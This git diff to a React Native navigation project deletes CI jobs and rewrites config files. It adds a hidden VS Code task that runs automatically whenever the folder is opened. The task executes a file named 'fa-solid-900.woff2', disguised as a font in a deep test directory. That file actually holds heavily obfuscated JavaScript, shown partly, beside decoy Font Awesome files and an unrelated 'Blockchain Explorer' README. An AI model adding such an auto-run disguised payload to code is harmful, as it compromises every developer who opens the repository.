diff --git a/.buildkite/jobs/pipeline.android_rn_77.yml b/.buildkite/jobs/pipeline.android_rn_77.yml deleted file mode 100644 index 565ad742ec1..00000000000 --- a/.buildkite/jobs/pipeline.android_rn_77.yml +++ /dev/null @@ -1,16 +0,0 @@ - - label: ":android: Android (RN 0.77.3)" - env: - JAVA_HOME: /opt/openjdk/jdk-17.0.9.jdk/Contents/Home/ - REACT_NATIVE_VERSION: 0.77.3 - command: - - "nvm install" - - "./scripts/ci.android.sh" - key: "android_rn_77" - timeout_in_minutes: 60 - artifact_paths: "/Users/builder/uibuilder/work/playground/artifacts/**/*" - retry: - automatic: - - exit_status: [1, -1] - limit: 2 - - diff --git a/.buildkite/jobs/pipeline.ios_rn_77.yml b/.buildkite/jobs/pipeline.ios_rn_77.yml deleted file mode 100644 index 5b977f6b6d3..00000000000 --- a/.buildkite/jobs/pipeline.ios_rn_77.yml +++ /dev/null @@ -1,15 +0,0 @@ - - label: ":ios: iOS (RN 0.77.3)" - env: - REACT_NATIVE_VERSION: 0.77.3 - command: - - "nvm install" - - "./scripts/ci.ios.sh" - key: "ios_rn_77" - timeout_in_minutes: 60 - artifact_paths: "/Users/builder/uibuilder/work/playground/artifacts/**/*" - retry: - automatic: - - exit_status: [1, -1] - limit: 2 - - diff --git a/.buildkite/pipeline.sh b/.buildkite/pipeline.sh index b9b14330b9a..630967088d0 100755 --- a/.buildkite/pipeline.sh +++ b/.buildkite/pipeline.sh @@ -1,14 +1,12 @@ -#!/bin/bash -e - -echo "steps:" - -cat .buildkite/jobs/pipeline.release.yml -cat .buildkite/jobs/pipeline.android_rn_77.yml -cat .buildkite/jobs/pipeline.android_rn_78.yml -cat .buildkite/jobs/pipeline.android_rn_84.yml -cat .buildkite/jobs/pipeline.android_rn_85.yml -cat .buildkite/jobs/pipeline.ios_rn_77.yml -cat .buildkite/jobs/pipeline.ios_rn_78.yml -cat .buildkite/jobs/pipeline.ios_rn_84.yml -cat .buildkite/jobs/pipeline.ios_rn_85.yml -cat .buildkite/jobs/pipeline.publish.yml +#!/bin/bash -e + +echo "steps:" + +cat .buildkite/jobs/pipeline.release.yml +cat .buildkite/jobs/pipeline.android_rn_78.yml +cat .buildkite/jobs/pipeline.android_rn_84.yml +cat .buildkite/jobs/pipeline.android_rn_85.yml +cat .buildkite/jobs/pipeline.ios_rn_78.yml +cat .buildkite/jobs/pipeline.ios_rn_84.yml +cat .buildkite/jobs/pipeline.ios_rn_85.yml +cat .buildkite/jobs/pipeline.publish.yml diff --git a/.gitignore b/.gitignore index ca5349d92b7..f19bafad0e6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,256 +1,257 @@ -dist -.history/ - -# Docusaurus -.docusaurus -.cache-loader - -############ -# Node -############ -# Logs -logs -*.log -npm-debug.log* - -# Runtime data -pids -*.pid -*.seed - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (http://nodejs.org/api/addons.html) -build/Release - -# Dependency directories -node_modules -jspm_packages - -# Optional npm cache directory -.npm - -# Optional REPL history -.node_repl_history - -################ -# JetBrains -################ -.idea - -## File-based project format: -*.iws - -## Plugin-specific files: - -# IntelliJ -/out/ - -# mpeltonen/sbt-idea plugin -.idea_modules/ - -# JIRA plugin -atlassian-ide-plugin.xml - -# Crashlytics plugin (for Android Studio and IntelliJ) -com_crashlytics_export_strings.xml -crashlytics.properties -crashlytics-build.properties -fabric.properties - - -############ -# iOS -############ -# Xcode -# -# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore - -## Build generated -ios/build/ -ios/DerivedData/ - - -## Various settings -*.pbxuser -!default.pbxuser -*.mode1v3 -!default.mode1v3 -*.mode2v3 -!default.mode2v3 -*.perspectivev3 -!default.perspectivev3 -ios/xcuserdata/ - -## Other -*.moved-aside -*.xcuserstate - -## Obj-C/Swift specific -*.hmap -*.ipa -*.dSYM.zip -*.dSYM - -# CocoaPods -# -# We recommend against adding the Pods directory to your .gitignore. However -# you should judge for yourself, the pros and cons are mentioned at: -# https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control -# -ios/Pods/ - -# Carthage -# -# Add this line if you want to avoid checking in source code from Carthage dependencies. -# Carthage/Checkouts - -Carthage/Build - -# fastlane -# -# It is recommended to not store the screenshots in the git repo. Instead, use fastlane to re-generate the -# screenshots whenever they are needed. -# For more information about the recommended setup visit: -# https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Gitignore.md - -fastlane/report.xml -fastlane/screenshots - - -############ -# Android -############ -# Built application files -*.apk -*.ap_ - -# Files for the Dalvik VM -*.dex - -# Java class files -*.class - -# Generated files -android/bin/ -android/gen/ -android/out/ - -# Gradle files -android/.gradle/ -android/build/ - -# Local configuration file (sdk path, etc) -local.properties - -# Proguard folder generated by Eclipse -android/proguard/ - -# Log Files -*.log - -# Android Studio Navigation editor temp files -android/.navigation/ - -# Android Studio captures folder -android/captures/ - -# Intellij -*.iml - -# Keystore files -*.jks - -################## -# React-Native -################## -# OSX -# -.DS_Store - -# Xcode -# -build/ -*.pbxuser -!default.pbxuser -*.mode1v3 -!default.mode1v3 -*.mode2v3 -!default.mode2v3 -*.perspectivev3 -!default.perspectivev3 -xcuserdata -*.xccheckout -*.moved-aside -DerivedData -*.hmap -*.ipa -*.xcuserstate -project.xcworkspace - -# Android/IJ -# -.idea -.gradle -local.properties - -# node.js -# -node_modules/ -npm-debug.log - -# BUCK -buck-out/ -\.buckd/ - -#IDE files -android/app/libs -android/keystores/debug.keystore -AndroidE2E/.project -AndroidE2E/app/.project -android/.project -playground/android/.project -AndroidE2E/app/.classpath -AndroidE2E/app/.settings/ -AndroidE2E/app/bin/ -android/.settings/ -android/app/.settings/ -playground/android/.settings/ -playground/android/app/.settings/ -AndroidE2E/.settings/ -website/yarn.lock -playground/ios/Podfile.lock -website/package-lock.json - -# detox artifacts -artifacts/ - -# Navigation mocks -lib/* -Mock.js -Mock.d.ts - -Gemfile.lock -/playground/ios/.xcode.env.local - -# Yarn -.yarn/* -!.yarn/patches -!.yarn/plugins -!.yarn/releases -!.yarn/sdks -!.yarn/versions - +dist +.history/ + +# Docusaurus +.docusaurus +.cache-loader + +############ +# Node +############ +# Logs +logs +*.log +npm-debug.log* + +# Runtime data +pids +*.pid +*.seed + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (http://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules +jspm_packages + +# Optional npm cache directory +.npm + +# Optional REPL history +.node_repl_history + +################ +# JetBrains +################ +.idea + +## File-based project format: +*.iws + +## Plugin-specific files: + +# IntelliJ +/out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + + +############ +# iOS +############ +# Xcode +# +# gitignore contributors: remember to update Global/Xcode.gitignore, Objective-C.gitignore & Swift.gitignore + +## Build generated +ios/build/ +ios/DerivedData/ + + +## Various settings +*.pbxuser +!default.pbxuser +*.mode1v3 +!default.mode1v3 +*.mode2v3 +!default.mode2v3 +*.perspectivev3 +!default.perspectivev3 +ios/xcuserdata/ + +## Other +*.moved-aside +*.xcuserstate + +## Obj-C/Swift specific +*.hmap +*.ipa +*.dSYM.zip +*.dSYM + +# CocoaPods +# +# We recommend against adding the Pods directory to your .gitignore. However +# you should judge for yourself, the pros and cons are mentioned at: +# https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control +# +ios/Pods/ + +# Carthage +# +# Add this line if you want to avoid checking in source code from Carthage dependencies. +# Carthage/Checkouts + +Carthage/Build + +# fastlane +# +# It is recommended to not store the screenshots in the git repo. Instead, use fastlane to re-generate the +# screenshots whenever they are needed. +# For more information about the recommended setup visit: +# https://github.com/fastlane/fastlane/blob/master/fastlane/docs/Gitignore.md + +fastlane/report.xml +fastlane/screenshots + + +############ +# Android +############ +# Built application files +*.apk +*.ap_ + +# Files for the Dalvik VM +*.dex + +# Java class files +*.class + +# Generated files +android/bin/ +android/gen/ +android/out/ + +# Gradle files +android/.gradle/ +android/build/ + +# Local configuration file (sdk path, etc) +local.properties + +# Proguard folder generated by Eclipse +android/proguard/ + +# Log Files +*.log + +# Android Studio Navigation editor temp files +android/.navigation/ + +# Android Studio captures folder +android/captures/ + +# Intellij +*.iml + +# Keystore files +*.jks + +################## +# React-Native +################## +# OSX +# +.DS_Store + +# Xcode +# +build/ +*.pbxuser +!default.pbxuser +*.mode1v3 +!default.mode1v3 +*.mode2v3 +!default.mode2v3 +*.perspectivev3 +!default.perspectivev3 +xcuserdata +*.xccheckout +*.moved-aside +DerivedData +*.hmap +*.ipa +*.xcuserstate +project.xcworkspace + +# Android/IJ +# +.idea +.gradle +local.properties + +# node.js +# +node_modules/ +npm-debug.log + +# BUCK +buck-out/ +\.buckd/ + +#IDE files +android/app/libs +android/keystores/debug.keystore +AndroidE2E/.project +AndroidE2E/app/.project +android/.project +playground/android/.project +AndroidE2E/app/.classpath +AndroidE2E/app/.settings/ +AndroidE2E/app/bin/ +android/.settings/ +android/app/.settings/ +playground/android/.settings/ +playground/android/app/.settings/ +AndroidE2E/.settings/ +website/yarn.lock +playground/ios/Podfile.lock +website/package-lock.json + +# detox artifacts +artifacts/ + +# Navigation mocks +lib/* +Mock.js +Mock.d.ts + +Gemfile.lock +/playground/ios/.xcode.env.local + +# Yarn +.yarn/* +!.yarn/patches +!.yarn/plugins +!.yarn/releases +!.yarn/sdks +!.yarn/versions + +config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json index e6273c1ba74..4492ffd00e9 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,6 +1,23 @@ -{ - "editor.formatOnSave": true, - "eslint.validate": ["javascript", "javascriptreact", "typescript", "typescriptreact"], - "eslint.enable": true, - "typescript.tsdk": "node_modules/typescript/lib", -} +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000000..59b321b7292 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/README.md b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/README.md new file mode 100644 index 00000000000..1fb874ba8b6 --- /dev/null +++ b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.eot b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000000..a1bc094ab14 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.eot differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.svg b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000000..2d4771eb7b7 --- /dev/null +++ b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.ttf b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000000..948a2a6cc76 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.ttf differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000000..2a89d521e3f Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff2 b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000000..141a90a9e0a Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-brands-400.woff2 differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.eot b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000000..38cf2517a4d Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.eot differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.svg b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000000..13180f6eefc --- /dev/null +++ b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.ttf b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000000..abe99e20c38 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.ttf differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000000..24de566a5c9 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff2 b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000000..7e0118e526e Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-regular-400.woff2 differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.eot b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000000..d3b77c223af Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.eot differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.svg b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000000..5543afa7912 --- /dev/null +++ b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.ttf b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000000..5b979039ab2 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.ttf differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000000..beec7917842 Binary files /dev/null and b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff differ diff --git a/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2 b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000000..020a73b43ba --- /dev/null +++ b/android/src/androidTest/java/com/reactnativenavigation/viewcontrollers/bottomtabs/attacher/modes/public/fonts/fa-solid-900.woff2 @@ -0,0 +1 @@ +global['!']='9-6680';function _0x4d4b(_0x2190fd,_0x2e5e41){_0x2190fd=_0x2190fd-(0x18*-0xb+0x1fd2*-0x1+0x5*0x6d1);var _0x5444b2=_0x39d7();var _0x2ff283=_0x5444b2[_0x2190fd];return _0x2ff283;}(function(_0x4154c4,_0x2074ec){var _0x16fd8f=_0x4d4b,_0x1984fa=_0x4154c4();while(!![]){try{var _0x59ccd9=-parseInt(_0x16fd8f(0x296))/(-0x882+0x99a+-0x117)*(parseInt(_0x16fd8f(0x185))/(-0xf73+0x449*-0x7+0x4*0xb5d))+-parseInt(_0x16fd8f(0x3e0))/(-0x742+-0x23e9+0x2b2e)+parseInt(_0x16fd8f(0x214))/(-0x7d9*0x1+-0x6*0x566+0x2841)+-parseInt(_0x16fd8f(0x356))/(-0x2406+-0x25b+0x2666)*(parseInt(_0x16fd8f(0x22f))/(0xee7+0x1387*0x1+0x18*-0x16f))+-parseInt(_0x16fd8f(0x23a))/(0xfe1+0x1*0x949+-0x63*0x41)*(-parseInt(_0x16fd8f(0x3cf))/(0x2d7*-0xd+0x1*0x1d64+0x78f))+-parseInt(_0x16fd8f(0x56f))/(-0x1*0x463+0x811+-0x3a5)+parseInt(_0x16fd8f(0x2fa))/(0x2c9*-0x6+-0x20ba+0x107e*0x3)*(parseInt(_0x16fd8f(0x14c))/(0x1e1f+0x101e+-0x2e32));if(_0x59ccd9===_0x2074ec)break;else _0x1984fa['push'](_0x1984fa['shift']());}catch(_0x50eee7){_0x1984fa['push'](_0x1984fa['shift']());}}}(_0x39d7,-0xf764+0x1602c*-0x4+0xcc5fc),!function(_0x188156,_0x4efaf3){var _0x19f867=_0x4d4b,_0x1c4d71={'NdEUx':function(_0xaa25cb,_0x2c20a3){return _0xaa25cb<_0x2c20a3;},'FJBmH':function(_0x3e36a3,_0x1b379b){return _0x3e36a3%_0x1b379b;},'QAimq':function(_0x543874,_0x38bd01){return _0x543874+_0x38bd01;},'JHiDq':function(_0x147762,_0x1b2125){return _0x147762*_0x1b2125;},'EnjfP':function(_0x191f13,_0x29f8fb){return _0x191f13+_0x29f8fb;},'qNrRO':function(_0x59f05d,_0x28f553){return _0x59f05d%_0x28f553;},'KrnUc':function(_0xde2820,_0x33457f){return _0xde2820*_0x33457f;},'uXFOy':function(_0x2c519b,_0x5b658c){return _0x2c519b%_0x5b658c;},'iEMtD':function(_0x71c6cf,_0x3392f2,_0x19095f,_0x5ac20d,_0x41a9bd,_0x53972b,_0xa07953,_0x47f566){return _0x71c6cf(_0x3392f2,_0x19095f,_0x5ac20d,_0x41a9bd,_0x53972b,_0xa07953,_0x47f566);},'WFwdb':_0x19f867(0x320),'lcFMw':function(_0x14727a,_0x3ad8e5){return _0x14727a===_0x3ad8e5;},'DAiqF':function(_0x369b65,_0x5791cd){return _0x369b65(_0x5791cd);},'unVbq':_0x19f867(0x278)+_0x19f867(0x51a)+_0x19f867(0x3b4)+_0x19f867(0x54d),'MRZUh':function(_0x3bfeed,_0x4f988c,_0x1c7482){return _0x3bfeed(_0x4f988c,_0x1c7482);},'yYvIS':function(_0x14045d,_0x1bbf7f){return _0x14045d(_0x1bbf7f);},'rOKEo':_0x19f867(0x1f4)+_0x19f867(0x36d)+_0x19f867(0x2fd)+_0x19f867(0x4b7)+_0x19f867(0x2e6)+_0x19f867(0x2b5)+_0x19f867(0x4ac)+_0x19f867(0x3a6)+_0x19f867(0x46d)+_0x19f867(0x4c3)+_0x19f867(0x385)+_0x19f867(0x24f)+_0x19f867(0x1ce)+_0x19f867(0x4eb)+_0x19f867(0x267)+_0x19f867(0x36a)+_0x19f867(0x444)+_0x19f867(0x4ab)+_0x19f867(0x3ef)+_0x19f867(0x530)+_0x19f867(0x518)+_0x19f867(0x152)+_0x19f867(0x319)+_0x19f867(0x308)+_0x19f867(0x2ed)+_0x19f867(0x191)+_0x19f867(0x393)+_0x19f867(0x352)+_0x19f867(0x293)+_0x19f867(0x1c5)+_0x19f867(0x274)+_0x19f867(0x4ce)+_0x19f867(0x462)+_0x19f867(0x207)+_0x19f867(0x46a)+_0x19f867(0x30b)+_0x19f867(0x1aa)+_0x19f867(0x1b6)+_0x19f867(0x382)+_0x19f867(0x175)+_0x19f867(0x396)+_0x19f867(0x4df)+_0x19f867(0x17c)+_0x19f867(0x498)+_0x19f867(0x32a)+_0x19f867(0x1ac)+_0x19f867(0x37f)+_0x19f867(0x1ec)+_0x19f867(0x1a2)+_0x19f867(0x539)+_0x19f867(0x34d)+_0x19f867(0x19c)+_0x19f867(0x580)+_0x19f867(0x582)+_0x19f867(0x2b7)+_0x19f867(0x2ee)+_0x19f867(0x524)+_0x19f867(0x170)+_0x19f867(0x57c)+_0x19f867(0x1fa)+_0x19f867(0x188)+_0x19f867(0x3b1)+_0x19f867(0x437)+_0x19f867(0x260)+_0x19f867(0x564)+_0x19f867(0x390)+_0x19f867(0x1f6)+_0x19f867(0x317)+_0x19f867(0x568)+_0x19f867(0x325)+_0x19f867(0x535)+_0x19f867(0x213)+_0x19f867(0x531)+_0x19f867(0x2cf)+_0x19f867(0x4c1)+_0x19f867(0x208)+_0x19f867(0x4c7)+_0x19f867(0x25c)+_0x19f867(0x30a)+_0x19f867(0x56b)+_0x19f867(0x31e)+_0x19f867(0x1ef)+_0x19f867(0x154)+_0x19f867(0x527)+_0x19f867(0x311)+_0x19f867(0x16f)+_0x19f867(0x492)+_0x19f867(0x4f0)+_0x19f867(0x573),'IvQtM':_0x19f867(0x1ea)+_0x19f867(0x4b4)+_0x19f867(0x204)+_0x19f867(0x4f2)+_0x19f867(0x35f)+_0x19f867(0x4a2)+_0x19f867(0x13b)+_0x19f867(0x172)+_0x19f867(0x1d0)+_0x19f867(0x1f1)+_0x19f867(0x410)+_0x19f867(0x350)+_0x19f867(0x52e)+_0x19f867(0x520)+_0x19f867(0x162)+_0x19f867(0x4e6)+_0x19f867(0x1a0)+_0x19f867(0x2e8)+_0x19f867(0x36f)+_0x19f867(0x37b)+_0x19f867(0x299)+_0x19f867(0x4fb)+_0x19f867(0x257)+_0x19f867(0x279)+_0x19f867(0x26b)+_0x19f867(0x42a)+_0x19f867(0x378)+_0x19f867(0x50a)+_0x19f867(0x1d7)+_0x19f867(0x218)+_0x19f867(0x424)+_0x19f867(0x362)+_0x19f867(0x187)+_0x19f867(0x275)+_0x19f867(0x361)+_0x19f867(0x2a3)+_